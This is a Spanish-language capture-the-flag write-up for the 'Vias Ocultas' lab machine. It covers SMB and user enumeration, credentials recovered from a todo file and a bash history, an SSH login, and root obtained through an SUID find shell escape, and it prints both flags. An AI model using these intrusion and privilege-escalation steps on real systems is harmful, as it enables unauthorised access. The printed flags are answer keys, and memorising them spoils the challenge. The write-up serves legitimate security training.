

CTF VIAS OCULTAS

WRITE UP



Juan Ayala

03-09-2025

Maquina Vias Ocultas:

Para avanzar con aplicamos un nmap para reconocer que puertos están abiertos:

```
(kali@kali)-[~/CyberConquer/Vias Ocultas]
└─$ nmap -sV 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 14:04 -04
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh         OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
80/tcp    open  http        nginx 1.22.1
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.46 seconds
```

Ya teniendo la información de los puertos abiertos generamos un dirb para ver que mas podemos tener:

```
(kali@kali)-[~/CyberConquer/Vias Ocultas]
└─$ dirb http://172.17.0.2

DIRB v2.22
By The Dark Raver

START_TIME: Tue Sep  2 14:11:42 2025
URL_BASE: http://172.17.0.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

--- Scanning URL: http://172.17.0.2/ ---
+ http://172.17.0.2/index.html (CODE:200|SIZE:15105)

END_TIME: Tue Sep  2 14:11:44 2025
DOWNLOADED: 4612 - FOUND: 1
```

Aplicamos Gobuster para que nos muestre los directorios:

```
(kali@kali)-[~/CyberConquer/Vias Ocultas]
└─$ gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt,bak
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/index.html (Status: 200) [Size: 15105]
/index.html (Status: 200) [Size: 15105]
Progress: 23065 / 23065 (100.00%)

Finished
```

Hay que enfocarnos en los puertos que utilizan samba y ver que podemos rescatar, para esto:

```
(kali㉿kali)-[~/CyberConquer/Vias_Ocultas]
$ smbclient -L //172.17.0.2/ -Nima -Uima

  IP  Sharename      Type            Comment
  ---  -
  172.17.0.2  usuarios          Disk            Disk
  172.17.0.2  desarrollo        Disk            Disk
  172.17.0.2  IPC$              IPC             IPC Service (Samba Server 4.17.12-Debian)

Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 172.17.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
ALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```

```
(kali㉿kali)-[~/CyberConquer/Vias_Ocultas]
$ smbclient //172.17.0.2/usuarios -N
tree connect failed: NT_STATUS_ACCESS_DENIED
```

```
(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ smbclient //172.17.0.2/desarrollo -N

Try "help" to get a list of possible commands.
smb: \> ls

.                D          0    Wed Feb 26 18:05:56 2025
..               D          0    Wed Feb 26 17:45:43 2025
todo.txt         N        276    Wed Feb 26 18:05:56 2025

partes mas del 98593968 blocks of size 1024. 67411604 blocks available
```

Y ahí encontramos un archivo que nos puede servir. Todo.txt es uno de los archivos que siempre guardan algún dato o bien un casa bobos, que nos podrá indicar si es el camino o debemos utilizar otro:

```
smb: \> cat todo.txt
cat: command not found
smb: \> ^C

(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ smbclient //172.17.0.2/desarrollo -N

Try "help" to get a list of possible commands.
smb: \> ls
.
..
todo.txt      276  Wed Feb 26 18:05:56 2025
98593968 blocks of size 1024. 67411388 blocks available
smb: \> get todo.txt
getting file \todo.txt of size 276 as todo.txt (134,8 KiloBytes/sec) (average 134,8 KiloBytes/sec)
smb: \> cat todo.txt
cat: command not found
smb: \>
smb: \> ^C

(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ ls
script.sh  todo.txt  vias_ocultas_img.tar  vias_ocultas.zip

(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ cat todo.txt
reiniciar servidor nginx - Listo
cambiar autenticacion de ssh a keys - Por hacer
cambiar contrasena por una mas segura - Por hacer Y2hhcmxpZTEyM3Bhc3M=
crear backup del servidor - Listo
eliminar el acceso a shares - Por hacer
```

Si tratamos de hacer un cat directamente no nos mostrara nada por lo cual debemos descargar el archivo y después realizar el cat.

Aca nos muestra que hay una clave que se tiene que modificar porque es muy débil. De igual manera veamos si podemos entrar al usuario Charlie con la clave, recordar que esta esta hasheada y hay que descifrar, para ello esto:

```
(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ echo "Y2hhcmxpZTEyM3Bhc3M=" | base64 -d

charlie123pass
```

Luego realizamos lo siguiente:

```
(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ ssh charlie@172.17.0.2

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!                                @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:Fd+PckoPUkGyfHdJuVMXxDC5×8iri+RnLaWvqZM47aQ.
Please contact your system administrator.
Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/kali/.ssh/known_hosts:3
  remove with:
    ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '172.17.0.2'
Host key for 172.17.0.2 has changed and you have requested strict checking.
Host key verification failed.
```

Si nos aparece este error hay que eliminar la huella del ssh en caso de tener otra ip anterior y se realiza de la siguiente manera.

```
(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "172.17.0.2"

# Host 172.17.0.2 found: line 1
# Host 172.17.0.2 found: line 2
# Host 172.17.0.2 found: line 3
/home/kali/.ssh/known_hosts updated.
Original contents retained as /home/kali/.ssh/known_hosts.old

(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ ssh charlie@172.17.0.2

The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:Fd+PckoPUkGyfHdJuVMXxDC5×8iri+RnLaWvqZM47aQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
charlie@172.17.0.2's password:
Permission denied, please try again.
charlie@172.17.0.2's password:
Permission denied, please try again.
charlie@172.17.0.2's password:
```

Ingresamos con el usuario Charlie y colocamos la contraseña, pero no nos permite entrar. Por lo cual existe un recurso que podemos saber que usuarios permite smb y así poder saber cual es el que necesitamos:

```
(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ enum4linux-ng -U 172.17.0.2
```

Enum4linux es una herramienta utilizada para extraer información de hosts de Windows y Samba. Está escrita en Perl y utiliza herramientas de Samba como smbclient y net. Enum4linux permite identificar el sistema operativo remoto y realizar enumeraciones a través del protocolo SMB.

```

[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DEBIAN-SAMBA
NetBIOS domain name: ''
DNS domain: ''
FQDN: 80d23fa72f38
Derived membership: workgroup member
Derived domain: unknown

=====
|   RPC Session Check on 172.17.0.2   |
=====
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[+] Server allows authentication via username 'tbodefby' and password ''
[H] Rerunning enumeration with user 'tbodefby' might give more results

=====
|   Domain Information via RPC for 172.17.0.2   |
=====
[+] Domain: WORKGROUP
[+] Domain SID: NULL SID
[+] Membership: workgroup member

=====
|   Users via RPC on 172.17.0.2   |
=====
[*] Enumerating users via 'querydispinfo'
[+] Found 1 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 1 user(s) via 'enumdomusers'
[+] After merging user results we have 1 user(s) total:
'1000':
  username: charlie
  name: ''
  acb: '0x00000010'
  description: ''

Completed after 0.52 seconds

```

Lo dejamos trabajar y nos indica que el usuario Charlie es el user para entrar a smb. Ahora debemos buscar si ese usuario junto con la clave que encontramos que aun no esta modificada nos permite entrar al servicio smb:

```

(kali@kali)-[~/CyberConquer/Vias Ocultas]
$ smbclient //172.17.0.2/usuarios -U charlie
Password for [WORKGROUP\charlie]:
Try "help" to get a list of possible commands.
smb: \>

```

Listamos los directorios:

```

(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ smbclient //172.17.0.2/usuarios -U charlie
Password for [WORKGROUP\charlie]:
Try "help" to get a list of possible commands.
smb: \> ls

.                D            0   Wed Feb 26 17:53:07 2025
..               D            0   Wed Feb 26 17:45:43 2025
charlie          D            0   Wed Feb 26 17:54:31 2025
developer        D            0   Wed Feb 26 17:55:12 2025

98593968 blocks of size 1024. 67408784 blocks available
smb: \>

```

Y acá nos damos cuenta en que en el directorio usuarios tenemos dos, Charlie y developer. La idea es revisando cada directorio y ver que podemos encontrar.

```

smb: \> cd charlie
smb: \charlie\> ls

.                D            0   Wed Feb 26 17:54:31 2025
..               D            0   Wed Feb 26 17:53:07 2025
.profile         H           807   Wed Feb 26 17:54:31 2025
.bash_logout     H           220   Wed Feb 26 17:54:25 2025
.bashrc          H          3526   Wed Feb 26 17:54:22 2025
.bash_history    H           749   Wed Feb 26 17:54:18 2025

98593968 blocks of size 1024. 67408784 blocks available
smb: \charlie\>

```

```

98593968 blocks of size 1024. 67408348 blocks available
smb: \> cd developer
smb: \developer\> ls

.                D            0   Wed Feb 26 17:55:12 2025
..               D            0   Wed Feb 26 17:53:07 2025
.profile         H           807   Wed Feb 26 17:55:02 2025
.bash_logout     H           220   Wed Feb 26 17:55:12 2025
.bashrc          H          3526   Wed Feb 26 17:55:08 2025
.bash_history    H            0   Wed Feb 26 17:54:53 2025

```

Si comparamos el historial de de bash de developer y Charlie, nos damos cuenta de los tamaños, por lo cual también podemos sacar algo provechoso.

Y acá tenemos harta información revisar. Y empezamos por el que mas nos llame la atención yo por mi parte ire con el .bash_history, ya que puede arrojar información especial. Por lo que primero descargamos el archivo de la siguiente manera:

```

98593968 blocks of size 1024. 67408772 blocks available
smb: \charlie\> cat .bash_history
cat: command not found
smb: \charlie\> get .bash_history
getting file \charlie\.bash_history of size 749 as .bash_history (243,8 KiloBytes/sec) (average 243,8 KiloBytes/sec)

```

Para poder revisarlo ocupamos lo siguiente:

```
(kali㉿kali)-[~]
└─$ ls -lh ~/CyberConquer/Vias\ Ocultas/.bash_history
-rw-r--r-- 1 kali kali 749 sep  3 09:51 '/home/kali/CyberConquer/Vias Ocultas/.bash_history'

(kali㉿kali)-[~]
└─$ cat ~/CyberConquer/Vias\ Ocultas/.bash_history

ls -la
whoami
pwd
cd ../../
su developer
echo fhuds9hfd768sgf9s90jf | su developer
cd /var/www/html
nano index.html
cat /etc/passwd
sudo apt update && sudo apt upgrade -y
whoami
ifconfig
ip a
ping -c 4 google.com
curl -I https://google.com
tar -xvf file.zip
grep "password" /var/log/auth.log
ps aux | grep ssh
netstat -tulnp
history | grep ssh
ssh user@192.168.1.10
scp file.txt user@192.168.1.10:/home/user/
chmod 700 script.sh
./script.sh
echo "alias ll='ls -la'" >> ~/.bashrc
source ~/.bashrc
df -h
du -sh *
find / -name "*.log" 2>/dev/null
crontab -l
crontab -e
echo "Hello World" > test.txt
cat test.txt
mv test.txt /tmp/
rm -rf /tmp/test.txt
ps aux | grep apache
systemctl status apache2
sudo systemctl restart apache2
iptables -L -n -v
exit
```

Y acá tenemos algo importante, si revisamos bien nos damos cuenta que encontramos una contraseña de developer, por lo que entramos ahora con ese usuario, probamos con smb y con ssh:

```
(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
└─$ smbclient //172.17.0.2/usuarios -U developer

Password for [WORKGROUP\developer]:
tree connect failed: NT_STATUS_ACCESS_DENIED
```



```
(kali㉿kali)-[~/CyberConquer/Vias Ocultas]
$ ssh developer@172.17.0.2

developer@172.17.0.2's password:
Linux 80d23fa72f38 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
developer@80d23fa72f38:~$
```

Listamos,

```
developer@80d23fa72f38:~$ ls
user.txt
developer@80d23fa72f38:~$ cat user.txt
d418a14a7fc5239d51730d3c7c30c2d0
```

Y es donde encontramos la primera flag:

```

CYBERCONQUER
Supports: LM, NTLM, md4, md5, md5e, md5n, sha1, sha256, sha512, sha384

Creando la imagen
Hash
Desplegando el contenedor victima
80d23fa72f3813935a17e15c0c1aff82ad840fe00c211f5b0aba7bdea31f47ff
Contenedor Iniciado, la IP victima es 172.17.0.2

Si deseas terminar la maquina pulsa ctrl C

Ingresa la bandera de usuario: x ;Negativo, hacker! Prueba de nuevo.
Ingresa la bandera de usuario: x ;Negativo, hacker! Prueba de nuevo.
Ingresa la bandera de usuario: v ;Flag correcta! Buen trabajo.
Ingresa la bandera de root:

```

Ahora debemos encontrar la flag de root, por lo que ocuparemos un binario para la escala de privilegios. Sabemos que en la pagina de GTFOBins podemos conseguir varios binarios que escalen privilegios, en este caso utilizaremos el siguiente:

da de privilegios en: [find | GTFOBins](#)

<https://gtfobins.github.io/gtfobins/find/#suid>

[Kali Forums](#) [Kali NetHunter](#) [Exploit-DB](#) [Google Hacking DB](#)

/ find

12,041

Shell File write SUID Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
find . -exec /bin/sh \; -quit
```

```
$ find / -perm /4000 2>/dev/null
/usr/bin/passwd
/usr/bin/mount
/usr/bin/find
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
$
```

Con ese comando podemos ver cuales son los binarios que tienen permisos de root y poder escalar privilegios. En este caso utilizamos el FIND:

```
$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-5.2# whoami
root
bash-5.2# ls
user.txt
bash-5.2# cat user.txt
d418a14a7fc5239d51730d3c7c30c2d0
```

Al acceder a root encontramos la flag del user. Pero no esta la que estamos buscando por lo cual realizamos la búsqueda del archivo root.txt de la siguiente manera:

```
bash-5.2# find / -name "root.txt" 2>/dev/null
/root/root.txt
bash-5.2# cat /root/root.txt
c75fef7d75f1b5be3633340b8ee6c0da7
bash-5.2# Connection to 172.17.0.2 closed by remote host.
Connection to 172.17.0.2 closed.

(kali@kali)-[~/CyberConquer/Vias Ocultas]
```

Y encontramos la flag de root

```
Ingresa la bandera de usuario: ✗ ¡Negativo, hacker! Prueba de nuevo.
Ingresa la bandera de usuario: ✗ ¡Negativo, hacker! Prueba de nuevo.
Ingresa la bandera de usuario: ✓ ¡Flag correcta! Buen trabajo.
Ingresa la bandera de root: ✗ Bandera incorrecta. Intenta de nuevo.
Ingresa la bandera de root: ✗ Bandera incorrecta. Intenta de nuevo.
Ingresa la bandera de root: ✗ Bandera incorrecta. Intenta de nuevo.
Ingresa la bandera de root: ✗ Bandera incorrecta. Intenta de nuevo.
Ingresa la bandera de root: 🏆 ¡Root obtenido, Máquina dominada!
Felicitades! Haz logrado resolver la maquina!
```

Y listo maquina dominada!!!